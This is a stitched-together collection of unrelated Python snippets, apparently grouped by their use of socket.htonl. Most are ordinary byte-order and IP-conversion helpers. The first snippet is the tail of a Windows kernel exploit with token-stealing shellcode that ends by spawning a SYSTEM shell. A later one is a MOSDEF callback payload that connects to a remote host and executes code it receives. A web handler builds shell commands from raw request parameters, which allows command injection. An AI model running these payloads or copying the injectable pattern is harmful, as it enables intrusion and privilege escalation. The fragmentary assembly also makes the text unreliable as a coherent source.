+\ "\x4D\x8B\x89" + _KPROCESS + "\x00\x00\x00" +\ "\x4D\x89\xCA" +\ "\x4D\x8B\x89" + _APLINKS + "\x00\x00" +\ "\x49\x81\xE9" + _APLINKS + "\x00\x00" +\ "\x49\x83\xB9" + _UPID + "\x00\x00\x04" +\ "\x75\xe8" +\ "\x4D\x8B\x89" + _TOKEN + "\x00\x00" +\ "\x4D\x89\x8A" + _TOKEN + "\x00\x00" fixobjheaders = "\x4d\x8b\x92\x00\x02\x00\x00" +\ "\x4d\x89\xd1" +\ "\x4d\x8b\x12" +\ "\x41\xbb" + struct.pack("L", hWF.value)+\ "\x41\x83\xe3\xfc" +\ "\x4d\x01\xdb" +\ "\x4d\x01\xdb" +\ "\x4d\x01\xda" +\ "\x49\xc7\x02\x00\x00\x00\x00" +\ "\x49\x83\xc1\x58" +\ "\x4d\x89\xca" +\ "\x4d\x8b\x09" +\ "\x49\x83\xe9\x01" +\ "\x4d\x89\x0a" +\ "\x41\x5b" +\ "\x41\x5A" +\ "\x41\x59" +\ "\xc3" shellcode = sc_pointer + padding + restore_ptrs + tokenstealing + fixobjheaders shellcode_size = len(shellcode) print "\n\n[+] Writing Shellcode at address: ", hex(shellcode_address) kernel32.WriteProcessMemory(-1, shellcode_address, shellcode, shellcode_size, byref(written)) print "\n\n[*] Triggering IOCTL 0x120c3 (afdTransmitPackets) to free the" print "[*] WorkerFactory object created above and fill the freed object" print "[*] with a user controlled object to perform the necessary overwrites" raw_input("[+] Press Enter to trigger phase 2") ### Trigger 2 ## afd!AfdTransmitPackets ntdll.ZwDeviceIoControlFile(sock, 0x0, 0x0, 0x0, byref(IoStatusBlock), 0x120c3, inbuf2, 0x18, 0x0, 0x0) ntdll.ZwQueryEaFile(INVALID_HANDLE_VALUE, byref(IoStatus), None, 0, False, FakeWorkerFactoryADDR, FakeObjSize - 0x04, None, False) ntdll.ZwSetInformationWorkerFactory(hWF, 8, what_part1, 0x4) kernel32.WriteProcessMemory(-1, addrSetInfoWorkerFactory, struct.pack("Q", secondWriteAddr), 0x8, byref(written)) ntdll.ZwSetInformationWorkerFactory(hWF, 8, what_part2, 0x4) kernel32.WriteProcessMemory(-1, addrSetInfoWorkerFactory, struct.pack("Q", thirdWriteAddr), 0x8, byref(written)) ntdll.ZwSetInformationWorkerFactory(hWF, 8, what_part2, 0x4) inp = c_long() out = c_long() inp = 0x1337 qip = ntdll.NtQueryIntervalProfile(inp, byref(out)) print "[*] Spawning a SYSTEM shell..." os.system("cmd.exe /K cd c:\\windows\\system32")
def ipToN(ip): h = dottedQuadToNum(ip) return socket.htonl(h)
def register_for_packet_match(self, handler, priority, expr): e = Packet_expr() for key, val in expr.items(): if key == AP_SRC: field = Packet_expr.AP_SRC val = htons(val) elif key == AP_DST: field = Packet_expr.AP_DST val = htons(val) elif key == DL_VLAN: field = Packet_expr.DL_VLAN val = htons(val) elif key == DL_VLAN_PCP: field = Packet_expr.DL_VLAN_PCP val = val elif key == DL_TYPE: field = Packet_expr.DL_TYPE val = htons(val) elif key == DL_SRC: field = Packet_expr.DL_SRC val = convert_to_eaddr(val) if val == None: print 'invalid ethernet addr' return False elif key == DL_DST: field = Packet_expr.DL_DST val = convert_to_eaddr(val) if val == None: print 'invalid ethernet addr' return False elif key == NW_SRC: field = Packet_expr.NW_SRC val = convert_to_ipaddr(val) if val == None: print 'invalid ip addr' return False elif key == NW_DST: field = Packet_expr.NW_DST val = convert_to_ipaddr(val) if val == None: print 'invalid ip addr' return False elif key == NW_PROTO: field = Packet_expr.NW_PROTO elif key == TP_SRC: field = Packet_expr.TP_SRC val = htons(val) elif key == TP_DST: field = Packet_expr.TP_DST val = htons(val) elif key == GROUP_SRC: field = Packet_expr.GROUP_SRC val = htonl(val) elif key == GROUP_DST: field = Packet_expr.GROUP_DST val = htonl(val) else: print 'invalid key', key return False if isinstance(val, ethernetaddr): e.set_eth_field(field, val) else: # check for max? if val > UINT32_MAX: print 'value %u exceeds accepted range', val return False e.set_uint32_field(field, val) return self.ctxt.register_handler_on_match(gen_packet_in_cb(handler), priority, e)
""" If you ever need to write a low-level network application, it may be necessary to handle the low-level data transmission over the wire between two machines. This operation requires some sort of conversion of data from the native host operating system to the network format and vice versa. This is because each one has its own specific representation of data. """ import socket data = 1234 # 32-bit print "Original: %s => Long host byte order: %s, Network byte order: %s"\ %(data, socket.ntohl(data), socket.htonl(data)) # 16-bit print "Original: %s => Short host byte order: %s, Network byte order: %s"\ %(data, socket.ntohs(data), socket.htons(data))
def send(channel, *args): buffer = cPickle.dumps(args) value = socket.htonl(len(buffer)) size = struct.pack("L", value) channel.send(size) channel.send(buffer)
def encode(msg): return socket.htonl(msg[2])
def get(self): x_btn = self.get_argument("btn", "1") x_adid = self.get_argument("ad_id", '') x_perid = self.get_argument("per_id", '') x_pip = self.get_argument("p_ip", '') list = [] if (x_pip!=""): try: ipint = socket.ntohl(struct.unpack("i",socket.inet_aton(x_pip))[0]) except: ipint = 111 else: ipint = "" if x_btn == '1': cmd = "rm -rf /data/adsmart/log/*" ssh(host, port, user, passwd, cmd) self.render("click_info.html", ad_id = "", per_id = "", p_ip = "", show_log = "", ret = []) if x_btn == '2': time.sleep(10) result = getdb(x_adid,ipint) ad_ret = gen_ad_ret(result) tm = time.strftime("%Y%m%d",time.localtime(time.time())) if (x_adid!="" and x_perid!="" and ipint!=""): cmd = "cat /data/adsmart/log/%s* |grep cpc_click |grep %s|grep %s|grep %s" % (tm, x_adid, x_perid, ipint) elif (x_adid=="" and x_perid!="" and ipint!=""): cmd = "cat /data/adsmart/log/%s* |grep cpc_click |grep %s|grep %s" % (tm, x_perid, ipint) elif (x_adid!="" and x_perid=="" and ipint!=""): cmd = "cat /data/adsmart/log/%s* |grep cpc_click |grep %s|grep %s" % (tm, x_adid, ipint) elif (x_adid!="" and x_perid!="" and ipint==""): cmd = "cat /data/adsmart/log/%s* |grep cpc_click |grep %s|grep %s" % (tm, x_adid, x_perid) elif (x_adid=="" and x_perid=="" and ipint!=""): cmd = "cat /data/adsmart/log/%s* |grep cpc_click |grep %s" % (tm, ipint) elif (x_adid=="" and x_perid!="" and ipint==""): cmd = "cat /data/adsmart/log/%s* |grep cpc_click |grep %s" % (tm, x_perid) elif (x_adid!="" and x_perid=="" and ipint==""): cmd = "cat /data/adsmart/log/%s* |grep cpc_click |grep %s" % (tm, x_adid) else: cmd = "cat /data/adsmart/log/%s* |grep cpc_click" % (tm) x_log = ssh(host, port, user, passwd, cmd) for i in range(0, x_log.__len__()): zidian = {} str_1 = x_log[i].split(" ") mytime = convert_time(float(str_1[0])) zidian["lclick_time"] = mytime ipint = socket.inet_ntoa(struct.pack('I',socket.htonl(int(str_1[1])))) zidian["lip"] = ipint zidian["lpermanent_id"] = str_1[3] zidian["ladid"] = str_1[4] zidian["lcost"] = int(str_1[5])/10000 print zidian["lcost"] zidian["lthroughid"] = str_1[14] zidian["lurl"] = str_1[16] list.append(zidian) self.render("click_info.html", ad_id = x_adid, per_id = x_perid, p_ip = x_pip, show_log = list, ret = ad_ret)
def ip_strton(ip_address): # struct.unpack("I", socket.inet_aton(ip_address))[0] return socket.htonl((int)(ipaddress.ip_address(ip_address)))
if not strHost and bView == False: _usage() sys.exit() if useID == 0: print '[-] Please set a active ID.' sys.exit() # if bSave: # conn = MySQLdb.connect(**ConfigFile) # conn.execute("Delete from Data where ID>0;") # conn.commit() # conn.close() if bManualStr: ViewResult(strHost, strHost, nType, bSave) UpdateUseCount() sys.exit() if bView: ViewSaveData(nType) sys.exit() """uri, type, ID, Title, Description, DisplayUrl, Url""" IpRange = BuildHostRange(strHost) for index in range(IpRange[0], IpRange[1] + 1): curIP = socket.inet_ntoa(struct.pack('I', socket.htonl(index))) SearchKeyWord = 'IP:' + curIP print '[%s]' % (curIP) ViewResult(SearchKeyWord, curIP, nType, bSave, _AccountKey) UpdateUseCount()
def toSigned(self, networkOrder=False): """ Return the address as a signed int """ if networkOrder: return self._value v = socket.htonl(self._value & 0xffFFffFF) return struct.unpack("i", struct.pack("I", v))[0]
import socket data = 123456 result = socket.htonl(data) #将主机序转换为网络序 print(result) # print(socket.htons(data)) #转换成16位的数据 print(socket.ntohl(result)) #将网络序转换为主机序
def pack_log(self, msg): self.__data += struct.pack("l", socket.htonl(msg))
def get_data(self): self.__data = struct.pack("I", socket.htonl(len( self.__data))) + self.__data return self.__data
def subscriber(self, tbl_id, operation, ds_id, ds_id2, field_id, data): if tbl_id == TBL_TAP_GROUP_INGRESS_FLOW and ds_id == CDB_INVALID_DS_ID: tbl_tap_igs_flow = tbl_pb2.tbl_tap_group_ingress_flow() try: tbl_tap_igs_flow.ParseFromString(data) except: print 'ERROR!! Parse tbl_tap_igs_flow fail' return if tbl_id == TBL_TAP_GROUP_INGRESS and ds_id == CDB_INVALID_DS_ID: tbl_tap_igs = tbl_pb2.tbl_tap_group_ingress() try: tbl_tap_igs.ParseFromString(data) except: print 'ERROR!! Parse tbl_tap_igs_flow fail' return if operation == CDB_OPER_ADD: if tbl_id == TBL_TAP_GROUP_INGRESS_FLOW: ifindex = GLB_IF_NAME_DICT[tbl_tap_igs_flow.key.if_name] tmp = tbl_tap_igs_flow.key.tap_group + str(ifindex) if check_data_sync_add("TAP_GROUP_INGRESS_TABLE", tmp): decrease_data_sync_add("TAP_GROUP_INGRESS_TABLE", tmp) return new_row = TAP_GROUP_INGRESS_TABLE.addRow([ AGENT.DisplayString(tbl_tap_igs_flow.key.tap_group), AGENT.Integer32(ifindex) ]) if tbl_tap_igs_flow.key.flow_name[:6] == "#FLOW#": new_row.setRowCell( TAP_GROUP_INGRESS_TBL_FLOWNAME, AGENT.DisplayString( tbl_tap_igs_flow.key.flow_name[6:])) GLB_TAP_GRP_IGS_FLOW_DICT[ tmp] = tbl_tap_igs_flow.key.flow_name[6:] else: new_row.setRowCell( TAP_GROUP_INGRESS_TBL_FLOWNAME, AGENT.DisplayString(tbl_tap_igs_flow.key.flow_name)) GLB_TAP_GRP_IGS_FLOW_DICT[ tmp] = tbl_tap_igs_flow.key.flow_name if tbl_tap_igs_flow.ing_untag_en != 0: new_row.setRowCell(TAP_GROUP_INGRESS_TBL_UNTAG, AGENT.Integer32(GLB_SNMP_TRUE)) else: new_row.setRowCell(TAP_GROUP_INGRESS_TBL_UNTAG, AGENT.Integer32(GLB_SNMP_FALSE)) if tbl_tap_igs_flow.ing_mark_vlan_en != 0: new_row.setRowCell( TAP_GROUP_INGRESS_TBL_MARKSRC, AGENT.Integer32(tbl_tap_igs_flow.ing_mark_vlan_vid)) new_row.setRowCell(TAP_GROUP_INGRESS_TBL_ROWSTATUS, AGENT.Integer32(SNMP_ROW_ACTIVE)) if tbl_id == TBL_TAP_GROUP_INGRESS: ifindex = GLB_IF_NAME_DICT[tbl_tap_igs.key.if_name] tmp = tbl_tap_igs.key.tap_group + str(ifindex) if check_data_sync_add("TAP_GROUP_INGRESS_TABLE", tmp): decrease_data_sync_add("TAP_GROUP_INGRESS_TABLE", tmp) return new_row = TAP_GROUP_INGRESS_TABLE.addRow([ AGENT.DisplayString(tbl_tap_igs.key.tap_group), AGENT.Integer32(ifindex) ]) if tbl_tap_igs.ing_untag_en != 0: new_row.setRowCell(TAP_GROUP_INGRESS_TBL_UNTAG, AGENT.Integer32(GLB_SNMP_TRUE)) else: new_row.setRowCell(TAP_GROUP_INGRESS_TBL_UNTAG, AGENT.Integer32(GLB_SNMP_FALSE)) if tbl_tap_igs.ing_mark_vlan_en != 0: new_row.setRowCell( TAP_GROUP_INGRESS_TBL_MARKSRC, AGENT.Integer32(tbl_tap_igs.ing_mark_vlan_vid)) if tbl_tap_igs.ing_trunction_en != 0: new_row.setRowCell(TAP_GROUP_INGRESS_TBL_TRUNCATION, AGENT.Integer32(GLB_SNMP_TRUE)) if tbl_tap_igs.ing_edit_dest_mac_en != 0: new_row.setRowCell( TAP_GROUP_INGRESS_TBL_EDIT_MAC_DA, AGENT.OctetString(tbl_tap_igs.ing_edit_dest_mac.mac)) if tbl_tap_igs.ing_edit_src_mac_en != 0: new_row.setRowCell( TAP_GROUP_INGRESS_TBL_EDIT_MAC_SA, AGENT.OctetString(tbl_tap_igs.ing_edit_src_mac.mac)) if tbl_tap_igs.ing_edit_ipda_en != 0: new_row.setRowCell(TAP_GROUP_INGRESS_TBL_EDIT_IP_DA_EN, AGENT.Integer32(GLB_SNMP_TRUE)) ipda = socket.inet_ntoa( struct.pack( 'I', socket.htonl(tbl_tap_igs.ing_edit_ipda.ipv4_addr))) new_row.setRowCell(TAP_GROUP_INGRESS_TBL_EDIT_IP_DA, AGENT.IpAddress(ipda)) else: new_row.setRowCell(TAP_GROUP_INGRESS_TBL_EDIT_IP_DA_EN, AGENT.Integer32(GLB_SNMP_FALSE)) if tbl_tap_igs.ing_edit_ipsa_en != 0: new_row.setRowCell(TAP_GROUP_INGRESS_TBL_EDIT_IP_SA_EN, AGENT.Integer32(GLB_SNMP_TRUE)) ipsa = socket.inet_ntoa( struct.pack( 'I', socket.htonl(tbl_tap_igs.ing_edit_ipsa.ipv4_addr))) new_row.setRowCell(TAP_GROUP_INGRESS_TBL_EDIT_IP_SA, AGENT.IpAddress(ipsa)) else: new_row.setRowCell(TAP_GROUP_INGRESS_TBL_EDIT_IP_SA_EN, AGENT.Integer32(GLB_SNMP_FALSE)) new_row.setRowCell(TAP_GROUP_INGRESS_TBL_ROWSTATUS, AGENT.Integer32(SNMP_ROW_ACTIVE)) if operation == CDB_OPER_DEL: if tbl_id == TBL_TAP_GROUP_INGRESS_FLOW: ifindex = GLB_IF_NAME_DICT[tbl_tap_igs_flow.key.if_name] tmp = tbl_tap_igs_flow.key.tap_group + str(ifindex) if check_data_sync_del("TAP_GROUP_INGRESS_TABLE", tmp): decrease_data_sync_del("TAP_GROUP_INGRESS_TABLE", tmp) return del (GLB_TAP_GRP_IGS_FLOW_DICT[tmp]) TAP_GROUP_INGRESS_TABLE.delRow([ AGENT.DisplayString(tbl_tap_igs_flow.key.tap_group), AGENT.Integer32(ifindex) ]) if tbl_id == TBL_TAP_GROUP_INGRESS: ifindex = GLB_IF_NAME_DICT[tbl_tap_igs.key.if_name] tmp = tbl_tap_igs.key.tap_group + str(ifindex) if check_data_sync_del("TAP_GROUP_INGRESS_TABLE", tmp): decrease_data_sync_del("TAP_GROUP_INGRESS_TABLE", tmp) return TAP_GROUP_INGRESS_TABLE.delRow([ AGENT.DisplayString(tbl_tap_igs.key.tap_group), AGENT.Integer32(ifindex) ])
def pack_string(self, msg): msg = bytes(msg, encoding="utf-8") length = len(msg) self.__data += struct.pack("I", socket.htonl(length)) self.__data += struct.pack(str(length) + "s", msg)
def update(self): self.control = socket.htonl((self.seq & 0x3FFF) << 18 | ((not not self.flag) & 1) << 17 | (self.plen & 0x3FF) << 7)
def pack_int(self, msg): self.__data += struct.pack("I", socket.htonl(msg))
def htonll(val): return (socket.htonl(val & 0xFFFFFFFF) << 32) + (socket.htonl(val >> 32))
def callback(self, host, port, universal=False, fork_exit=False): """ First stage payload for MOSDEF """ codegen = self.get_basecode() codegen._globals.addQword('FDSPOT') codegen.main = """ // TODO: XXX // for doing things right // it shouldn't corrupt anything so // check for stack correctness // save previous registers(?) movq $0xdeadcafedeaddead,%rax push %rax andl $-16,%rsp """ if fork_exit: codegen.main += """ // fork movq $0x2000002,%rax syscall // if we are parent exit test %rdx,%rdx jz exit """ codegen.main += """ //create the socket movq $0x2000061,%rax //SYS_socket movq $0x2,%rdi //AF_INET movq $0x1,%rsi //SOCK_STREAM movq $0x6,%rdx //TCP syscall mov %rax, FDSPOT-getpcloc(%rbp) //sockaddr xorl %rbx,%rbx push %rbx movq $REPLACEHOSTANDPORT,%rbx push %rbx //connect movq %rax,%rdi //socket movq %rsp,%rsi //sockaddr *name movq $0x10,%rdx //namelen movq $0x2000062,%rax //SYS_connect syscall // TODO: error check? //free stack pop %rax pop %rax """ a = istr2int(socket.inet_aton(host)) b = reverseword((0x02000000 | port)) host_and_port = "0x%08x%08x" % (uint_bits(32, a), uint_bits(32, b)) codegen.main = codegen.main.replace('REPLACEHOSTANDPORT', \ host_and_port) if universal == True: if (self.module and hasattr(self.module, 'engine') == True and self.module.engine): mosdef_type = self.module.engine.getMosdefType( canvasengine.OSXMOSDEF_X64) mosdef_id = self.module.engine.getNewMosdefID(self.module) else: mosdef_type = 19 mosdef_id = 0 logging.info('Using OSX64 Universal, type: %d, id: %d' % (mosdef_type, mosdef_id)) codegen.main += """ //align push %%rax movq $0x%08x%08x,%%rdi // type and ID push %%rdi mov $8,%%rdi mov %%rsp,%%rsi call sendloop //free stack pop %%rax pop %%rax """ % (socket.htonl(mosdef_id), socket.htonl(mosdef_type)) codegen.main += """ //pushl %rbx // treat fd as a local arg push %rbx push %rbx osx64RecvExecCode: movq $0x4,%rdi movq %rsp,%rsi call recvloop gogotlen: movl (%rsp),%eax movl %eax,%eax movq %rax,%r12 //code to read //allocate buffer (mmap RWX) movq $0x20000c5,%rax //SYS_mmap xor %rdi,%rdi // address movq %r12,%rsi // size movq $0x7,%rdx // prot: RWX movq $0x1002,%rcx // flags movq %rcx,%r10 xor %r8,%r8 // fildes dec %r8d xor %r9,%r9 // off syscall movq %rax,%r13 // mmap base address saved // TODO: check error?, dont think mmap will fail recvexe: movq %rax,%rsi movq %r12,%rdi call recvloop stagetwo: push %r12 push %r13 movq FDSPOT-getpcloc(%rbp),%r15 // 2nd stage expects fdsock in r15 call *%r13 pop %r13 pop %r12 // free mmaped address movq %r13,%rdi //addr movq %r12,%rsi //len movq $0x2000049,%rax //SYS_munmap syscall jmp osx64RecvExecCode //loop exit: xor %rdi,%rdi // status movq $0x2000001,%rax // SYS_exit syscall """ # sendloop function # args: # rdi: length # rsi: buffer codegen.main += """ sendloop: push %r12 push %r13 movq %rdi,%r12 //len movq %rsi,%r13 //buff sendloop_one: movq FDSPOT-getpcloc(%rbp),%rdi // socket movq %r13,%rsi // buffer movq %r12,%rdx // length movq $0x2000004,%rax // SYS_write syscall cmp $0,%eax jg no_send_error // TODO: how to retrieve errno? // TODO: manage EINTR error and make it retry //cmp errno, EINTR //4 //jz sendloop_one //try again jmp exit no_send_error: sub %rax,%r12 add %rax,%r13 test %r12,%r12 jne sendloop_one pop %r13 pop %r12 ret """ # recvloop function # args: # rdi: length # rsi: buffer codegen.main += """ recvloop: push %r12 push %r13 movq %rdi,%r12 //len movq %rsi,%r13 //buff recvloop_one: movq FDSPOT-getpcloc(%rbp),%rdi // socket movq %r13,%rsi // buffer movq %r12,%rdx // length movq $0x2000003,%rax // SYS_read //xor %rcx,%rcx // flags //movq $0x200001d,%rax // SYS_recvfrom syscall cmp $0,%eax jg no_recv_error // TODO: same as before, we need errno //EINTR jmp exit no_recv_error: sub %rax,%r12 add %rax,%r13 test %r12,%r12 jne recvloop_one pop %r13 pop %r12 ret """ return codegen.get()
def long2ip(ip_long): ip = socket.htonl(ip_long) return socket.inet_ntoa(struct.pack('I', ip))
def read_routes(): try: f = open("/proc/net/route", "rb") except IOError: warning("Can't open /proc/net/route !") return [] routes = [] s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: ifreq = ioctl( s, SIOCGIFADDR, struct.pack("16s16x", conf.loopback_name.encode("utf8"))) # noqa: E501 addrfamily = struct.unpack("h", ifreq[16:18])[0] if addrfamily == socket.AF_INET: ifreq2 = ioctl( s, SIOCGIFNETMASK, struct.pack("16s16x", conf.loopback_name.encode("utf8"))) # noqa: E501 msk = socket.ntohl(struct.unpack("I", ifreq2[20:24])[0]) dst = socket.ntohl(struct.unpack("I", ifreq[20:24])[0]) & msk ifaddr = scapy.utils.inet_ntoa(ifreq[20:24]) routes.append((dst, msk, "0.0.0.0", conf.loopback_name, ifaddr, 1)) # noqa: E501 else: warning("Interface %s: unknown address family (%i)" % (conf.loopback_name, addrfamily)) # noqa: E501 except IOError as err: if err.errno == 99: warning("Interface %s: no address assigned" % conf.loopback_name) # noqa: E501 else: warning("Interface %s: failed to get address config (%s)" % (conf.loopback_name, str(err))) # noqa: E501 for line in f.readlines()[1:]: line = plain_str(line) iff, dst, gw, flags, _, _, metric, msk, _, _, _ = line.split() flags = int(flags, 16) if flags & RTF_UP == 0: continue if flags & RTF_REJECT: continue try: ifreq = ioctl(s, SIOCGIFADDR, struct.pack("16s16x", iff.encode("utf8"))) # noqa: E501 except IOError: # interface is present in routing tables but does not have any assigned IP # noqa: E501 ifaddr = "0.0.0.0" ifaddr_int = 0 else: addrfamily = struct.unpack("h", ifreq[16:18])[0] if addrfamily == socket.AF_INET: ifaddr = scapy.utils.inet_ntoa(ifreq[20:24]) ifaddr_int = struct.unpack("!I", ifreq[20:24])[0] else: warning("Interface %s: unknown address family (%i)", iff, addrfamily) # noqa: E501 continue # Attempt to detect an interface alias based on addresses inconsistencies # noqa: E501 dst_int = socket.htonl(int(dst, 16)) & 0xffffffff msk_int = socket.htonl(int(msk, 16)) & 0xffffffff gw_str = scapy.utils.inet_ntoa(struct.pack("I", int(gw, 16))) metric = int(metric) if ifaddr_int & msk_int != dst_int: tmp_route = get_alias_address(iff, dst_int, gw_str, metric) if tmp_route: routes.append(tmp_route) else: routes.append((dst_int, msk_int, gw_str, iff, ifaddr, metric)) else: routes.append((dst_int, msk_int, gw_str, iff, ifaddr, metric)) f.close() s.close() return routes
def ipv4_to_string(ipv4): ipv4_n = socket.htonl(ipv4) data = struct.pack('I', ipv4_n) ipv4_string = socket.inet_ntop(socket.AF_INET, data) return ipv4_string
def htonl(self): """transform self.ipaddress by applying htonl to it""" ip_int = int(self.ipaddress) self.ipaddress = ipaddress.ip_address(socket.htonl(ip_int)) return self
def check(self): # 测试 argv第一元素一定是'-h', 否则给出使用提示 if len(CheckArgv.lowercase_argv) <= 0: return False, "Invalid number of arguments!" if CheckArgv.lowercase_argv[0] != "-h": return False, "Argument must begin with -h or -H " if len(CheckArgv.lowercase_argv) < 2: return False, "host domain name or ip must be provided!" # 检查第二元素,应该是主机的描述。且是用逗号隔开的,连续数字或字母。 ip_p = re.compile( '^((25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(25[0-5]|2[0-4]\d|[01]?\d\d?)$' ) domainname_p = re.compile('^([a-z0-9]+(-[a-z0-9]+)*\.)+[a-z]{2,}$') hostlist = CheckArgv.lowercase_argv[1].split(',')[:] for item in hostlist: if ip_p.match(item): # found an ip TargetHosts.hostip_list.append(item) #print("TargetHosts {}".format(TargetHosts.hostip_list)) elif domainname_p.match(item): # found a domainname TargetHosts.hostdomain_list.append(item) #print("TargetHostsDomain {}".format(TargetHosts.hostdomain_list)) elif re.search('-', item): # is range expr? startip = item.split('-')[0] endip = item.split('-')[1] if ip_p.match(startip) and ip_p.match(endip): startip_int = socket.ntohl( struct.unpack("I", socket.inet_aton(str(startip)))[0]) endip_int = socket.ntohl( struct.unpack("I", socket.inet_aton(str(endip)))[0]) if endip_int < startip_int: startip_int, endip_int = endip_int, startip_int # exchange for item1 in range(startip_int, endip_int + 1): ip_str = socket.inet_ntoa( struct.pack('I', socket.htonl(item1))) TargetHosts.hostip_list.append(ip_str) else: # not valid range return False, "Invalid host range! [{}]".format(item) #print("TargetHosts {}".format(TargetHosts.hostip_list)) else: return False, "Invalid hostname or host ip! [{}]".format(item) if len(CheckArgv.lowercase_argv) == 2: # no -p for i in range(DEFAULT_PORT_LOWERLIMIT, DEFAULT_PORT_UPPERLIMIT + 1): TargetHosts.port_list.append(i) return True, "Arguments check completed." if len(CheckArgv.lowercase_argv) == 3: if CheckArgv.lowercase_argv[2] == "-p": return False, "Port number or port range cannot be null!" else: return False, "Unknow switch! [{}]".format( CheckArgv.lowercase_argv[2]) if len(CheckArgv.lowercase_argv) == 4: # ports portlist = CheckArgv.lowercase_argv[3].split(',')[:] print(portlist) int_p = re.compile('^[0-9]+$') for item in portlist: if int_p.match(item): port_int = int(item) if port_int <= 65535 and port_int >= 0: TargetHosts.port_list.append(port_int) else: return False, "Port number should be no more than 65535, and not negative! [{}]".format( item) elif re.search('-', item): # port range expr? startport = item.split('-')[0] endport = item.split('-')[1] if int_p.match(startport) and int_p.match(endport): startport_int = int(startport) endport_int = int(endport) if startport_int > 65535 or startport_int < 0 or endport_int > 65535 or endport_int < 0: return False, "Port number should be no more than 65535, \ and not negative ! [{}]".format(item) if startport_int > endport_int: startport_int, endport_int = endport_int, startport_int for i in range(startport_int, endport_int + 1): TargetHosts.port_list.append(i) else: return False, "Invalid port range ![{}]".format(item) else: # not a valid port or port range return False, "Invalid port or port range ![{}]".format( item) return True, "Argument check completed."